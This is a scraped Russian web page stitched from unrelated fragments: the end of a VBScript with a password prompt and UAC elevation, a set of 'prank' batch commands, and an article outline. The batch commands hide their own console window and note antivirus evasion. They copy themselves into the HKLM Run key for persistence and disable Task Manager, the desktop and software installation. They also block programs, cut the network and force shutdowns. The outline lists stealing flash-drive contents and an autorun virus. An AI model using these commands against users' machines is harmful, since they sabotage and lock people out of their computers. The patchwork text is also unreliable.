    oDict.Add 224, "Load Friction"
    oDict.Add 225, "/Unload Cycle Count"
    oDict.Add 226, "Load 'In'-time"
    oDict.Add 227, "Torque Amplification Count"
    oDict.Add 228, "Power-Off Retract Cycle"
    oDict.Add 230, "GMR Head Amplitude"
    oDict.Add 240, "Head Flying Hours"
    oDict.Add 250, "Read Error Retry Rate"
End Function

Function GetPassword()
    Dim IE
    On Error Resume Next
   Set IE = CreateObject( "InternetExplorer.Application" )
   With IE
      .AddressBar = False
      .menubar = False
      .Navigate "about:blank"
      .Document.Title = "Password"
      .ToolBar        = False
      .Resizable      = False
      .StatusBar      = False
      .Width          = 340
      .Height         = 230
   End With
   With IE.Document.ParentWindow.Screen
      IE.Left = (.AvailWidth  - IE.Width )  2
      IE.Top  = (.Availheight - IE.Height)  2
   End With
   Do While IE.Busy
      WScript.Sleep 200
   Loop

   IE.Document.Body.InnerHTML =    "<BODY SCROLL=""NO"" BGCOLOR=""#" & BCol & """ TEXT=""#" & TCol & """>" & _
               "<FONT FACE=""arial"" SIZE=2>" & _
               "Введите имя компьютера<BR><INPUT SIZE=""40"" " & "ID=""Computer""><BR>"  &_
               "Пользователь<BR><INPUT SIZE=""40"" " & "ID=""Login""><BR>" &_
               "Пароль<BR><INPUT TYPE=""password"" SIZE=""40"" " & "ID=""Login"">" &_
               "<P><INPUT TYPE=""hidden"" ID=""OK"" " & "NAME=""OK"" VALUE=""0"">"& _
               "<INPUT TYPE=""submit"" VALUE="" OK "" " & "OnClick=""vbscript:OK.Value=1""></P>"
   strComputer = "."
   strLogin = ""
   strPassword = ""

   IE.visible = True
   Do While IE.Document.All.OK.Value = 0
      WScript.Sleep 200
   Loop

   If IE.Document.All.Computer.Value = "" then
      strComputer = "."
   else
      strComputer = IE.Document.All.Computer.Value
      If IE.Document.All.Login.Value <> "" then
         strLogin = IE.Document.All.Login.Value
         strPassword = IE.Document.All.Password.Value
      else
         strLogin = ""
         strPassword = ""
      end If
   end If
   IE.Quit
   Set IE = Nothing
End Function

Sub Elevate(msg)
     Const DQ = """"
     if msgbox(msg & vblf & "Запустить с Административными привилегиями ?", vbQuestion + vbYesNo,"Подтверждение") = vbNo then WScript.Quit 5
     Dim oShellApp: Set oShellApp = CreateObject("Shell.Application")
     ' Конкатенация аргументов
     Dim args, i: For i = 1 to WScript.Arguments.Count
         args = args & DQ & WScript.Arguments(i - 1) & DQ & " "
     Next
     if len(args) = 0 then args = DQ & syscure & DQ & " " & DQ & syscheck & DQ
     oShellApp.ShellExecute WScript.FullName, DQ & WScript.ScriptFullName & DQ & " " & args, "", "runas", 1
     set oShellApp = Nothing
End Sub

Function isAdminRights()
     Const KQV = &H1, KSV = &H2, HKCU = &H80000001, HKLM = &H80000002
     Set oReg = GetObject("winmgmts:rootdefault:StdRegProv")
     strKey = "SystemCurrentControlSetControlSession Manager"
     intErrNum = oReg.CheckAccess(HKLM, strKey, KQV + KSV, flagAccess)
     isAdminRights = flagAccess
     Set oReg = Nothing
End Function

Источник

Некоторые bat-ники выполняют свою роль без каких-либо дополнительных действий, некоторые —

требуют прав администратора

при запуске, некоторые —

перезагрузку для применения изменений

. Также

не все они невидимы для антивируса

, некоторые — да, некоторые — нет.
Внизу буду указывать два параметра «(перезагрузка, админ)». Это означает, что для вступления изменений в силу нужно, чтобы bat запускался от имени администратора и, чтобы пользователь перезагрузил ПК.

Как запускать bat-ники максимально незаметно (без мелькания cmd)
Если нужно, чтобы bat-ник запускался максимально незаметно и не смущал пользователя появившейся командной строкой (на небольшое время, но это окно промелькнет), то самым простым решением будет данный vbs скрипт (скопировать в блокнот и сохранить как «Все файлы» с указание расширения vbs):

Код:

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "путь к bat-файлу", 0, false

Этот скрипт запустит bat-ник, который расположен по указанному пути.
Также не стоит забывать прописывать в начале каждого bat-ника:

Меняем местами значение кнопок мыши

Код:

@Echo off
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Выключение

Код:

shutdown /p (немедленное выключение)
shutdown.exe -s -t 45 (выключение с задержкой, после -t время в секундах)

А если немного улучшить этот bat и добавить его в автозагрузку (команда есть ниже), то получится нечто веселое.

Перезагрузка

Отключение редактирования меню Пуск

Код:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoChangeStartMenu /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)

Отключение рабочего стола

Код:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)

Отключаем интернет

Код:

Ipconfig /release
Чтобы вернуть назад прописываем в cmd: IPconfig /renew

Меняем расширение всех ярлыков на txt

Добавление файла в автозагрузку

Код:

copy ""%0"" "путь к файлу"
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "имя в реестре(любое)" /t REG_SZ /d "путь к файлу" /f

Пример:

Код:

copy ""%0"" "C:UsersuserDesktopre.bat"
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Filel" /t REG_SZ /d "C:UsersuserDesktopre.bat" /f
(перезагрузка, админ)

Отключение диспетчера задач

Код:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)

Запрещаем запуск программ
Добавляйте свои по желанию

Код:

reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun /v "2" /t reg_sz /d "exe-шник программы" /f
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v "DisallowRun" /t REG_DWORD /d "1" /f

Например, чтобы запретить запуск Chrome:

Код:

reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun /v "3" /t reg_sz /d "chrome.exe" /f
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v "DisallowRun" /t REG_DWORD /d "1" /f
(перезагрузка, админ)

Запрещаем установку программ

Код:

reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun /v "1" /t reg_sz /d "msiexec.exe" /f
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v "DisallowRun" /t REG_DWORD /d "1" /f
(перезагрузка, админ)

Убираем панель управления

Код:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
(перезагрузка, админ)

Отключить автозагрузку USB-устройств, приводов, съемных дисков, сетевых дисков

Код:

reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer /v "NoDriveTypeAutoRun" /t REG_DWORD /d " 0xFF" /f
(перезагрузка, админ)

Источник

Содержание статьи:

Вместо вступления. Что такое «батник»

Часть вторая. Синтаксис при написании bat-файлов

Приступим….

Часть третья. Резервное копирование при помощи батников

Автоматическое копирование каталогов в папку backup

Создание бэкапа в архиве

Часть четвертая. Автоматизация процесса создания и удаления файлов/каталогов с использованием bat-файлов

Как создать папку из батника

Как создать текстовый файл из батника

Автоматическая очистка папки из батника

Часть пятая. Прочие возможности bat-файлов

Одна из самых известных возможностей использования батников — это запись содержимого каталога в файл

Запуск файлов из командной строки

Часть шестая. Хитрости или шутки в сторону

Шпионские штучки. Похищаем содержимое флешки

Маленький вирус в автозагрузку

Часть седьмая. Упаковка исполнительного файла

Программный способ упаковки батников

Упаковка батников в SFX-архив

Вместо заключения

Полезные и нужные команды и батники.

<img decoding="async" onError="javascript: wp_broken_images = window.wp_broken_images || function(){}; wp_broken_images(this);" src="https://usbtor.ru/styles/templates/default/images/lang/ru/icon_quote.gif" alt="[Цитировать]" title="Ответить с цитатой" />

код

код

код

код

код

код